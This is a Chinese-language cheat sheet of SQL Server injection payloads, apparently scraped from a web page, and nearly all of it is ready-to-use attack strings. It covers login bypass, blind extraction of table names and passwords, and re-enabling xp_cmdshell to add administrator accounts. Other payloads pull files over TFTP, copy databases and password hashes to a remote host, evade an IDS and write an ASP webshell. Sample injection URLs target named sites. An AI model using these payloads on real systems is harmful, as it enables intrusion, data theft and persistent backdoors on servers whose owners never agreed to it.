Sql server常見注入漏洞利用

一句有毛病的語句：  sql="select pwd,answer from [member] where userID='"&userID&"' and answer='"&answer&"'"  　　這麼低級的錯誤也會犯，此時，您只要根據sql構造一個特殊的使用者名稱和密碼，如：' or '1'='1 一句有毛病的語句：  sql="select pwd,answer from [member] where userID='"&userID&"' and answer='"&answer&"'"  　　這麼低級的錯誤也會犯，此時，您只要根據sql構造一個特殊的使用者名稱和密碼，如：' or '1'='1  1.判斷有無注入點 ; and 1=1 and 1=2 2.猜表一般的表的名稱無非是admin adminuser user pass password 等.. and 0<>(select count(*) from *) and 0<>(select count(*) from admin) ---判斷是否存在admin這張表 3.猜帳號數目 如果遇到0< 返回正確頁面 1<返回錯誤頁面說明帳號數目就是1個 and 0<(select count(*) from admin) and 1<(select count(*) from admin) 4.猜解欄位名稱 在len( ) 括弧裡面加上我們想到的欄位名稱. and 1=(select count(*) from admin where len(*)>0)-- and 1=(select count(*) from admin where len(使用者欄位名稱name)>0) and 1=(select count(*) from admin where len(_blank>密碼欄位名稱password)>0) 5.猜解各個欄位的長度 猜解長度就是把>0變換 直到返回正確頁面為止 and 1=(select count(*) from admin where len(*)>0) and 1=(select count(*) from admin where len(name)>6) 錯誤 and 1=(select count(*) from admin where len(name)>5) 正確 長度是6 and 1=(select count(*) from admin where len(name)=6) 正確 and 1=(select count(*) from admin where len(password)>11) 正確 and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12 and 1=(select count(*) from admin where len(password)=12) 正確 6.猜解字元 and 1=(select count(*) from admin where left(name,1)=a) ---猜解使用者帳號的第一位 and 1=(select count(*) from admin where left(name,2)=ab)---猜解使用者帳號的第二位 就這樣一次加一個字元這樣猜,猜到夠你剛才猜出來的多少位了就對了,帳號就算出來了 and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) -- 這個查詢語句可以猜解中文的使用者和_blank>密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元. group by users.id having 1=1-- group by users.id, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )-- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id)- UNION SELECT TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA.COLUMNS WHERE TABLE_blank>_NAME=logintable WHERE COLUMN_blank>_NAME NOT IN (login_blank>_id,login_blank>_name)- UNION SELECT TOP 1 login_blank>_name FROM logintable- UNION SELECT TOP 1 password FROM logintable where login_blank>_name=Rahul-- 看_blank>伺服器打的補丁=出錯了打了SP4補丁 and 1=(select @@VERSION)-- 看_blank>資料庫連接帳號的許可權，返回正常，證明是_blank>伺服器角色sysadmin許可權。 and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin))-- 判斷串連_blank>資料庫帳號。（採用SA帳號串連 返回正常=證明了串連帳號是SA） and sa=(SELECT System_blank>_user)-- and user_blank>_name()=dbo-- and 0<>(select user_blank>_name()-- 看xp_blank>_cmdshell是否刪除 and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_blank>_cmdshell)-- xp_blank>_cmdshell被刪除，恢複,支援絕對路徑的恢複 ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll-- ;EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll-- 反向PING自己實驗 ;use master;declare @s int;exec sp_blank>_oacreate "wscript.shell",@s out;exec sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";-- 加帳號 ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add-- 建立一個虛擬目錄E盤： ;declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\mkwebdir.vbs -w "預設Web網站" -v "e","e：\"-- 訪問屬性：（配合寫入一個webshell） declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, cscript.exe c：\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse 爆庫 特殊_blank>技巧：:%5c=\ 或者把/和\ 修改%5提交 and 0<>(select top 1 paths from newtable)-- 得到庫名（從1到5都是系統的id，6以上才可以判斷） and 1=(select name from master.dbo.sysdatabases where dbid=7)-- and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 依次提交 dbid = 7,8,9.... 得到更多的_blank>資料庫名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。 and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個欄位,假設為 user_blank>_id and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in (id,...)) 來暴出其他的欄位 and 0<(select user_blank>_id from BBS.dbo.admin where username>1) 可以得到使用者名稱 依次可以得到_blank>密碼。。。。。假設存在user_blank>_id username ,password 等欄位 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名 and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address)) and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值 and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有欄位 ?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin ?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用) 得到WEB路徑 ;create table [dbo].[swap] ([swappass][char](255));-- and (select top 1 swappass from swap)=1-- ;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test OUTPUT insert into paths(path) values(@test)-- ;use ku1;-- ;create table cmd (str image);-- 建立image類型的表cmd 存在xp_blank>_cmdshell的測試過程： ;exec master..xp_blank>_cmdshell dir ;exec master.dbo.sp_blank>_addlogin jiaoniang$;-- 加SQL帳號 ;exec master.dbo.sp_blank>_password null,jiaoniang$,1866574;-- ;exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin;-- ;exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;-- ;exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add;-- exec master..xp_blank>_servicecontrol start, schedule 啟動_blank>服務 exec master..xp_blank>_servicecontrol start, server ; DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add ;DECLARE @shell INT EXEC SP_blank>_OACREATE wscript.shell,@shell OUTPUT EXEC SP_blank>_OAMETHOD @shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add ; exec master..xp_blank>_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳檔案 ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ;declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ ;declare @a;set @a=db_blank>_name();backup database @a to disk=你的IP你的共用目錄bak.dat 如果被限制則可以。 select * from openrowset(_blank>sqloledb,server;sa;,select OK! exec master.dbo.sp_blank>_addlogin hax) 查詢構造： SELECT * FROM news WHERE id=... AND topic=... AND ..... adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <> select 123;-- ;use master;-- :a or name like fff%;-- 顯示有一個叫ffff的使用者哈。 and 1<>(select count(email) from [user]);-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;-- ;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;-- ;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;-- ;update [users] set email=(select top 1 count(id) from password) where name=ffff;-- ;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;-- ;update [users] set email=(select top 1 name from password where id=2) where name=ffff;-- 上面的語句是得到_blank>資料庫中的第一個使用者表,並把表名放在ffff使用者的郵箱欄位中。 通過查看ffff的使用者資料可得第一個用表叫ad 然後根據表名ad得到這個表的ID 得到第二個表的名字 insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)-- insert into users values( 667,123,123,0xffff)-- insert into users values ( 123, admin--, password, 0xffff)-- ;and user>0 ;and (select count(*) from sysobjects)>0 ;and (select count(*) from mysysobjects)>0 //為access_blank>資料庫 枚舉出資料表名 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);-- 這是將第一個表名更新到aaa的欄位處。 讀出第一個表，第二個表可以這樣讀出來（在條件後加上 and name<>剛才得到的表名）。 ;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);-- 然後id=1552 and exists(select * from aaa where aaa>5) 讀出第二個表，一個個的讀出，直到沒有為止。 讀欄位是這樣： ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),1));-- 然後id=152 and exists(select * from aaa where aaa>5)出錯，得到欄位名 ;update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(表名),2));-- 然後id=152 and exists(select * from aaa where aaa>5)出錯，得到欄位名 [獲得資料表名][將欄位值更新為表名，再想法讀出這個欄位的值就可得到表名] update 表名 set 欄位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>你得到的表名 查出一個加一個]) [ where 條件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,...) 通過SQLSERVER注入_blank>漏洞建_blank>資料庫管理員帳號和系統管理員帳號[當前帳號必須是SYSADMIN組] [獲得資料表欄位名][將欄位值更新為欄位名，再想法讀出這個欄位的值就可得到欄位名] update 表名 set 欄位=(select top 1 col_blank>_name(object_blank>_id(要查詢的資料表名),欄位列如:1) [ where 條件] 繞過IDS的檢測[使用變數] ;declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\ ;declare @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\ 1、 開啟遠程_blank>資料庫 基本文法 select * from OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1 ) 參數: (1) OLEDB Provider name 2、 其中連接字串參數可以是任何連接埠用來串連,比如 select * from OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;, select * from table 3.複製目標主機的整個_blank>資料庫insert所有遠端資料表到本地表。 基本文法： insert into OPENROWSET(SQLOLEDB, server=servername;uid=sa;pwd=123, select * from table1) select * from table2 這行語句將目標主機上table2表中的所有資料複製到遠程_blank>資料庫中的table1表中。實際運用中適當修改連接字串的IP地址和連接埠，指向需要的地方，比如： insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from table2 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysdatabases) select * from master.dbo.sysdatabases insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysobjects) select * from user_blank>_database.dbo.sysobjects insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_syscolumns) select * from user_blank>_database.dbo.syscolumns 複製_blank>資料庫： insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * from database..table2 複製哈西表（HASH）登入_blank>密碼的hash儲存於sysxlogins中。方法如下： insert into OPENROWSET(SQLOLEDB, uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _blank>_sysxlogins) select * from database.dbo.sysxlogins 得到hash之後，就可以進行暴力破解。 遍曆目錄的方法： 先建立一個暫存資料表：temp ;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ;insert temp exec master.dbo.xp_blank>_availablemedia;-- 獲得當前所有磁碟機 ;insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\;-- 獲得子目錄列表 ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- 獲得所有子目錄的分類樹結構,並寸入temp表中 ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp;-- 查看某個檔案的內容 ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\;-- ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a;-- ;insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscript C:\Inetpub\AdminScripts\adsutil.vbs enum w3svc ;insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\;-- （xp_blank>_dirtree適用許可權PUBLIC） 寫入表： 語句1：and 1=(SELECT IS_blank>_SRVROLEMEMBER(sysadmin));-- 語句2：and 1=(SELECT IS_blank>_SRVROLEMEMBER(serveradmin));-- 語句3：and 1=(SELECT IS_blank>_SRVROLEMEMBER(setupadmin));-- 語句4：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 語句5：and 1=(SELECT IS_blank>_SRVROLEMEMBER(securityadmin));-- 語句6：and 1=(SELECT IS_blank>_SRVROLEMEMBER(diskadmin));-- 語句7：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 語句8：and 1=(SELECT IS_blank>_SRVROLEMEMBER(bulkadmin));-- 語句9：and 1=(SELECT IS_blank>_MEMBER(db_blank>_owner));-- 把路徑寫到表中去： ;create table dirs(paths varchar(100), id int)-- ;insert dirs exec master.dbo.xp_blank>_dirtree c:\-- and 0<>(select top 1 paths from dirs)-- and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))-- ;create table dirs1(paths varchar(100), id int)-- ;insert dirs exec master.dbo.xp_blank>_dirtree e:\web-- and 0<>(select top 1 paths from dirs1)-- 把_blank>Database Backup到網頁目錄：下載 ;declare @a sysname; set @a=db_blank>_name();backup database @a to disk=e:\web\down.bak;-- and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc) and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) 參看相關表。 and 1=(select user_blank>_id from USER_blank>_LOGIN) and 0=(select user from USER_blank>_LOGIN where user>1) -=- wscript.shell example -=- declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe ; declare @o int exec sp_blank>_oacreate wscript.shell, @o out exec sp_blank>_oamethod @o, run, NULL, notepad.exe-- declare @o int, @f int, @t int, @ret int declare @line varchar(8000) exec sp_blank>_oacreate scripting.filesystemobject, @o out exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1 exec @ret = sp_blank>_oamethod @f, readline, @line out while( @ret = 0 ) begin print @line exec @ret = sp_blank>_oamethod @f, readline, @line out end declare @o int, @f int, @t int, @ret int exec sp_blank>_oacreate scripting.filesystemobject, @o out exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1 exec @ret = sp_blank>_oamethod @f, writeline, NULL, <% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %> declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528 waitfor delay 00:00:05 ; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay 00:00:05-- xp_blank>_dirtree適用許可權PUBLIC exec master.dbo.xp_blank>_dirtree c:\ 返回的資訊有兩個欄位subdirectory、depth。Subdirectory欄位是字元型，depth欄位是整形欄位。 create table dirs(paths varchar(100), id int) 建表，這裡建的表是和上面xp_blank>_dirtree相關連，欄位相等、類型相同。 insert dirs exec master.dbo.xp_blank>_dirtree c:\ 只要我們建表與儲存進程返回的欄位相定義相等就能夠執行！達到寫表的效果,一步步達到我們想要的資訊

是否支援多句查詢
http://www.xxx.com/xxxnews/shownews.asp?id=51;declare @a int--

是否支援子查詢
http://www.xxx.com/xxxnews/shownews.asp?id=51 and (Select count(1) from [sysobjects])>=0

返回使用者名稱
http://www.xxx.com/xxxnews/shownews.asp?id=51 And user%2Bchar(124)=0

目前使用者是否為 sysadmin 固定伺服器角色的成員。
http://www.xxx.com/xxxnews/shownews.asp?id=51 And Cast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1

PS:0x730079007300610064006D0069006E00 = sysadmin

目前使用者是否為 db_owner 固定資料庫角色的成員
http://www.xxx.com/xxxnews/shownews.asp?id=51 And Cast(IS_MEMBER(0x640062005F006F0077006E0065007200) as varchar(1))%2Bchar(124)=1

0x640062005F006F0077006E0065007200 = db_owner

返回資料庫名
http://www.xxx.com/xxxnews/shownews.asp?id=51 And db_name()%2Bchar(124)=0

作業系統和SQLserver版本
http://www.99568.com/99568news/shownews.asp?id=51 And @@version = 1

本機伺服器名稱
http://www.99568.com/99568news/shownews.asp?id=51 And @@SERVERNAME = 1